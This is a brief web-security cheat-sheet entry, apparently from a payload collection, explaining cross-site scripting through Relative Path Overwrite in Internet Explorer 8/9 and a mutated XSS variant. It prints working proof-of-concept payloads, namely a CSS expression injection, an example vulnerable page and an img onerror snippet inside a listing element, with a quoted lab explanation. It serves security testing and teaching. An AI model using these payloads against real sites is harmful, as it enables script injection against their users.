# XSS with Relative Path Overwrite - IE 8/9 and lower
|
||
|
||
You need these 3 components
|
||
|
||
```javascript
|
||
1) stored XSS that allows CSS injection. : {}*{xss:expression(open(alert(1)))}
|
||
2) URL Rewriting.
|
||
3) Relative addressing to CSS style sheet : ../style.css
|
||
```
|
||
|
||
A little example
|
||
|
||
```html
|
||
http://url.example.com/index.php/[RELATIVE_URL_INSERTED_HERE]
|
||
<html>
|
||
<head>
|
||
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
|
||
<link href="[RELATIVE_URL_INSERTED_HERE]/styles.css" rel="stylesheet" type="text/css" />
|
||
</head>
|
||
<body>
|
||
Stored XSS with CSS injection - Hello {}*{xss:expression(open(alert(1)))}
|
||
</body>
|
||
</html>
|
||
```
|
||
|
||
Explanation of the vulnerability
|
||
|
||
> The Meta element forces IE’s document mode into IE7 compat which is required to execute expressions. Our persistent text {}*{xss:expression(open(alert(1)))is included on the page and in a realistic scenario it would be a profile page or maybe a shared status update which is viewable by other users. We use “open” to prevent client side DoS with repeated executions of alert.
|
||
> A simple request of “rpo.php/” makes the relative style load the page itself as a style sheet. The actual request is “/labs/xss_horror_show/chapter7/rpo.php/styles.css” the browser thinks there’s another directory but the actual request is being sent to the document and that in essence is how an RPO attack works.

|
||
## Mutated XSS for Browser IE8/IE9
|
||
|
||
```javascript
|
||
<listing id=x><img src=1 onerror=alert(1)></listing>
|
||
<script>alert(document.getElementById('x').innerHTML)</script>
|
||
```
|
||
|
||
IE will read and write (decode) HTML multiple time and attackers XSS payload will mutate and execute.
